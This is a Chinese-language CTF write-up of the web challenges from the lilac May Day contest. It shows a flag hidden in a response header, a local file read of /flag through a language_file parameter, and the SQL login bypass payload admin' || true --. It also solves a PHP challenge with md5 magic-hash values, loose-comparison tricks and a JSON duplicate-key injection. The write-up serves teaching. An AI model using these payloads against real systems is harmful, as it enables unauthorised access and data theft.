lilac 五一欢乐赛 web部分 writeups
F12
在?你会用 F12(Ctrl+Shift+i) 吗?
F12的 Network 选项卡可以记录 http 请求,flag藏在服务器返回的请求的 headers 里面。
http://139.9.203.33:30002/
p.s. 题目描述好像补充了这个提示
F12,然后 headers 响应头里面有 flag
Connection: close
Content-Length: 9
Content-Type: text/html; charset=UTF-8
Date: Sun, 03 May 2020 15:34:07 GMT
flag: flag{chrome_or_Firefox_which_one_DO_you_LIKE}
Proxy-Connection: keep-alive
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.33
flag: flag{chrome_or_Firefox_which_one_DO_you_LIKE}
i18n
我写了一个非常国际化(i18n)的网站。
这个网站支持中文和英文。当然,默认是中文。
http://139.9.203.33:30001/
我还藏了一个flag,但是flag在 /flag 那里,你访问不到它。
附件里面是 index.php 的源码,希望对您有帮助。
hint1:在审计网站源码的时候,无需关心 html、css、javascript 内容,因为这些是由客户端浏览器执行、渲染的。您只需要关心 php 代码,这部分代码由服务器执行,可能会有安全隐患。
hint2:学习web安全的时候,您可能随时需要查阅文档、手册。每一个函数都可能有潜在的漏洞风险,请善用搜索引擎。
附件下载 index.php
extract 从数组中将变量导入到当前的符号表
简单来说就是把一个数组(类似于字典/映射)的 ¥arr[key]=val
导入成 ¥key = val
看中间的逻辑部分,首先解析¥ _GET,之后如果 ¥lang
是 zh-cn 那么打开的文件是 zh-cn.txt
,如果是 en-us
那么打开的文件是 en-us.txt
,而当 ¥lang
是其他内容的时候,就会直接打开 ¥language_file
指定的文件。
访问 http://139.9.203.33:30001/?lang=qwq&language_file=/flag
,即可得到flag
flag flag{php_1s_su0ch_a_greaT_language}
ezsql
Try to login!
http://47.93.34.105:8001
随便尝试用户名密码,发现显示sql代码,例如admin/admin
SQL: select * from user where username = 'admin' and password = '21232f297a57a5a743894a0e4a801fc3'
猜测应该是如下的模板
SQL: select * from user where username = '¥username' and password = '¥md5_password'
至于用户验证,很可能是采用的,username, md5_password 直接查询数据库,如果返回的行数不为0,则说明存在该账户,登录成功
构造如下sql
SQL: select * from user where username = 'admin' or true -- ' and password = '¥md5_password'
发现 or
被过滤,换成 ||
SQL: select * from user where username = 'admin' || true -- ' and password = '¥md5_password'
-- 注意空格,括号内文字[admin' || true -- ]
提交,得到flag
flag: flag{SQL_1nJect_1S_ez_e38ec2}
ezsql again
None
where is flag
None
ez_bypass
<?php
error_reporting(0);
highlight_file(__FILE__);
¥password = 'shouhukunkun';
if (isset(¥_GET['t']) && isset(¥_GET['s'])) {
¥t = ¥_GET['t'];
¥s = ¥_GET['s'];
if (md5(¥t) == md5(¥s) && ¥t !== ¥s) {
echo "Good jod! You got the first step.";
if (isset(¥_POST['pw'])) {
¥pw = trim(¥_POST['pw']);
if (!is_numeric(¥pw)) {
if (¥pw == 20200501) {
echo "Now you are only one step away from flag. Come on!!!";
¥json = '{"data": "Can you hack the password?", "password": "' . ¥pw . '"}';
¥data = json_decode(¥json, true);
if (¥data["password"] === ¥password) {
echo "Excellent!You hack it.";
highlight_file("flag.php");
}
} else {
die("think again!");
}
} else {
die("I find you, hacker!");
}
}
} else {
die("Can you hack md5? There are two ways for you.");
}
} else {
die("You need to know how to get and post!");
}
即依次通过这几个验证
1. 使用 post/get 发送数据
2. 传递 get
参数 t
和 s
,使得 md5(t) == md5(s) && t !== s
3. 设置一个 post 参数 pw,且 is_numeric(¥pw) === false
(不是数字) 且 ¥pw == 20200501
4. json数据 ¥json = '{"data": "Can you hack the password?", "password": "' . ¥pw . '"}';
有 ¥json["password"] === "shouhukunkun"
方法
- 直接上 postman 就可以
- 一种是
md5
碰撞,另外就是利用 php==
的特性,对于==
是弱类型的,会将不同类型的转换之后再进行比较,这样的话0e1234567890 == 0e0987654321
都是0
,只需要找到/0e\d{30}/
的 md5 即可。从 Google 搜一组 md5 == 0 的值即可。(例如这里0e开头md5汇总) - php 直接使用
string == int
的时候,string会转化成 int,这样的话,使用20200501xxxx
后面加一些非数字的内容即可。 - 在数字后面再写一个
"password": "shouhukunkun"
,覆盖了前面的(经过下面测试,允许 json 项目重复,且后面会覆盖前面的)
¥jt = ¥json = '{"data": "Can you hack the password?", "password": "20200501", "password":"shouhukunkun"}';
¥data = json_decode(¥jt, true);
print_r(¥data);
搜一些 0e 开头的 md5
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
GET 参数 s=s878926199a&t=s155964671a
POST 参数 20200501", "password":"shouhukunkun
flag flag{php_1s_InteResting_a217f8cc0b43a}
是什么蒙蔽了你的双眼
None
- Pingback: lilac 俱乐部 五一欢乐赛 writeups - zsh' blog